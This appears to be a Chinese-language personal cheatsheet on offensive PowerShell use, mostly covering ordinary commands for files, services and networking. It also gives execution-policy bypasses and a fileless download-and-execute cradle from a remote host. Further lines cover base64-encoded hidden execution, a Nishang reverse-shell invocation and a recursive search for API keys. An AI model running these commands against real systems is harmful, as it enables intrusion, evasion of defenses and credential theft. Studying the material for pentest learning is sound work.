还有很多待补充。有时候会遇到一些windows的机器,所以还是要学下powershell的。
Hacking with Powershell
Powershell cheatsheet
Powershell
后缀
- ps1 脚本文件
- ps1xml xml文档
- psc1 控制台文件
- psm1 脚本模块
基于Powershell的渗透框架
- Powershell Empire
- PSAttack
- PowerSploit
- Nishang
- CS
基本命令
Get-Help&GetCommand
1 2 3 4 5 6 7 8
| Get-Help Get-Help Get-Command 获取Get-Command的帮助 Get-Command 获取所有命令 Get-Command *you need to find* 模糊查找命令 (get-command your_need_to_find_command).parameters 获得该命令的参数 Get-Command New-* 获得new开头的命令
Get-Command | Get-Member -MemberType Method
|
powershell大小写
命令,参数不区分大小写,但是参数值区分大小写。
- windows,linux,中的文件名写入,保留大小写。
- windows文件名读取,不区分大小写。
- linux文件名读取,区分大小写。
Powershell 执行策略
Restricted——默认的设置, 不允许任何script运行
AllSigned——只能运行经过数字证书签名的script
RemoteSigned——运行本地的script不需要数字签名,但是运行从网络上 下载的script就必须要有数字签名
Unrestricted——允许所有的script运行。
绕过执行策略能使我们做但是不仅限于以下的操作
- 文件不落地执行
- 调用widnows api
- 避免被杀软检测
- 被标记为信任
当执行策略为Restricted(默认策略)时如何绕过
1.powershell.exe -noprofile -
1
| Write-Host Write-Host 'My voice is my passport, verify me.' | powershell.exe -noprofile -
|
不会写入磁盘,也不会更改配置。
2.使用base64编码绕过
1 2 3
| $a=[System.Text.Encoding]::Unicode.GetBytes("Write-Host 'Wzxc123444' ") $b=[Convert]::ToBase64String($a) powershell -enc $b
|
3.读取文件内容然后通过管道符执行
这种就类似于Linux的
1 2
| echo 'whoami' > 1.txt cat 1.txt | bash
|
在powershell中则:
1
| Get-Content ./file_name | PowerShell.exe -noprofile -
|
4.通过网络下载,但是不写入磁盘执行(无文件落地)
1
| powershell -NoProfile -Command “iex ((new-object net.webclient).DownloadString('http://192.168.133.1/runme.ps1'))"
|
这个和Linux以下命令相似
1 2 3 4
| curl -L http://127.0.0.1:8080/runme.sh|bash wget http://127.0.0.1:8080/runme.sh -O - | bash sh -c "$(wget http://127.0.0.1:8080/runme.sh -O -)" sh -c "$(curl -L http://127.0.0.1:8080/runme.sh)"
|
5.直接用-command参数
1
| powershell -command "Write-Host 'llll'"
|
这与Linux中的以下命令相似
1 2
| bash -c 'echo "lll"' sh -c ....
|
6.Invoke-Command
1
| invoke-command -scriptblock {Write-Host "My voice is my passport, verify me."}
|
7. iex
1 2 3
| Get-Content .\runme.ps1 | Invoke-Expression
Gc .\runme.ps1 |iex
|
8.Bypass绕过
1
| PowerShell.exe -ExecutionPolicy Bypass -File .\runme.ps1
|

9.Unrestricted
1
| PowerShell.exe -ExecutionPolicy UnRestricted -File .\runme.ps1
|
10.Remotesigned
1
| PowerShell.exe -ExecutionPolicy Remotesigned -File .\runme.ps1
|
11.临时修改变量
临时更改配置为允许。
1
| Set-ExecutionPolicy Bypass -Scope Process
|
和上面的区别在于,这个是通过修改注册表将当前用户环境的设置应用到当前用户的环境中。
1
| Set-Executionpolicy -Scope CurrentUser -ExecutionPolicy UnRestrict
|
关于渗透
比较重要的命令
1 2 3 4 5 6 7 8 9
| -ExecutionPolicyBypass //直接绕过powershell本地脚本执行策略限制 -ep bypass -NoLogo //启动时隐藏版权标志 -NonInteractive //脚本以非交互模式运行 -NoProfile //文件不落地,直接放在内存中 -WindowStyle Hidden //隐藏窗口运行 -EncodedCommand //接受命令的 Base 64 编码字符串版本 -enc -File xxx.ps1 //指定本地运行的脚本路径
|
利用
powershell 反弹shell
Kali执行
受害者执行
1 2
| . .\Invoke-PowerShellTcp.ps1 Invoke-PowerShellTcp -Reverse -IPAddress 192.168.56.2 -Port 1234
|
关于补全
powershell也会自动补全,不过只会补全
- powershell命令名,(含cmd命令,第三方命令)
- 系统文件名,
- powershell参数名,
- 你自己编写的powershell脚本的参数名,100%可以补全。
- powershell方法名,
- powershell属性名,
都可以存在中文
Get-ChildItem
Get-ChildItem 类似dir命令,不过ls也可以。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| PS C:\Users\aaa> (Get-Command Get-ChildItem).Parameters
Key Value --- ----- Path System.Management.Automation.ParameterMetadata 指定路径 LiteralPath System.Management.Automation.ParameterMetadata 原始字符串路径 类似python的r"strs" Filter System.Management.Automation.ParameterMetadata Include System.Management.Automation.ParameterMetadata 包括? Exclude System.Management.Automation.ParameterMetadata Recurse System.Management.Automation.ParameterMetadata 子目录 Depth System.Management.Automation.ParameterMetadata 深度? Force System.Management.Automation.ParameterMetadata Name System.Management.Automation.ParameterMetadata 文件名 Verbose System.Management.Automation.ParameterMetadata 详细信息 Debug System.Management.Automation.ParameterMetadata ErrorAction System.Management.Automation.ParameterMetadata WarningAction System.Management.Automation.ParameterMetadata InformationAction System.Management.Automation.ParameterMetadata ErrorVariable System.Management.Automation.ParameterMetadata WarningVariable System.Management.Automation.ParameterMetadata InformationVariable System.Management.Automation.ParameterMetadata OutVariable System.Management.Automation.ParameterMetadata OutBuffer System.Management.Automation.ParameterMetadata PipelineVariable System.Management.Automation.ParameterMetadata UseTransaction System.Management.Automation.ParameterMetadata Attributes System.Management.Automation.ParameterMetadata Directory System.Management.Automation.ParameterMetadata 过滤,只输出目录 File System.Management.Automation.ParameterMetadata 过滤,只输出文件 Hidden System.Management.Automation.ParameterMetadata 过滤,只输出隐藏文件 ReadOnly System.Management.Automation.ParameterMetadata 过滤,只输出只读文件 System System.Management.Automation.ParameterMetadata -ErrorAction SilentlyContinue 忽略错误
|
1 2 3 4 5 6 7 8 9 10 11
| Get-ChildItem D:/
..... 一些目录信息 .....
Get-ChildItem -Path C:\ -Include *interesting-file.txt* -File -Recurse -ErrorAction SilentlyContinue
Get-ChildItem C:\* -Recurse | Select-String -pattern API_KEY
Get-ChildItem -Attributes h
|
文件和目录操作
一些文件的操作1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| ${变量名}=dir 一个文件路径 $a=dir D:\test.txt $a.FullName $a.FullName $a.name $a.BaseName $a.Extension $a.LastWriteTime $a.Length $a.DirectoryName
测试文件目录是否存在(返回一个布尔值 Test-Path D:\test.txt True Test-Path D:\test.exe False
Test-Path D:\test\ True
test-path C:\xxx\yyy -pathtype Container test-path C:\xxx\yyy -pathtype Leaf
powershell脚本中拆分文件名和路径 Split-Path -Path "C:\Test\Logs\*.log" -Leaf -Resolve
Split-Path -Path "C:\Test\Logs\*.log"
powershell脚本中合并目录,文件 $目录名= '/root' $目录名加文件名 = "$目录名/abc/def.txt"
|
Get-Content
Get-Content参数 (这里补充get-content的parameters)
Get-Content基本用法1 2 3
| Get-Content D:\test.txt $a = Get-Content D:\test.txt -ReadCount 0 $a = Get-Content D:\test.txt -raw
|
Get-Location
获取当前路径
Select-Object
选择指定字段列出信息
1
| Get-ChildItem | Select-Object -Property Mode,Name
|
其他的一些参数
- first 开头的第x个对象 (head
- last 结尾的第x个对象(tail
- unique 集合
- skip 跳过x个对象
Where-Object
在搜索时匹配指定的字符串(grep?
1
| Get-Service | Where-Object -Property Status -eq Stopped # 匹配状态处于关闭的服务
|
measure
统计命令,类似于wc
统计系统中已经安装命令的总数
Get-Counter
powershell的性能监视器
1 2
| Get-Counter -ListSet * | Sort-Object CounterSetName | Format-Table CounterSetName (Get-Counter -ListSet PhysicalDisk).Paths
|
Get-Server
Get-Scheduled
Invoke-WebRequest
向web服务器发请求的命令
Invoke-WebRequest参数列表
服务器信息枚举
Get-LocalUser
获取本机的用户
Get-LocalGroup
获取本机组
1
| Get-LocalGroup | measure # 获取组并统计数量
|
Get-Hotfix
获取已经打了什么补丁
获取进程信息 Get-Process
获取工作排程 Get-ScheduleTask
获取指定文件/路径的所有者信息
网络相关
Get-NetIPAddress
获取本机IP信息
Get-NetTCPConnection
获取已经开启的tcp端口状态
1
| GEt-NetTCPConnection | Where-Object -Property State -Match Listen
|
历史命令
1
| %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_his
|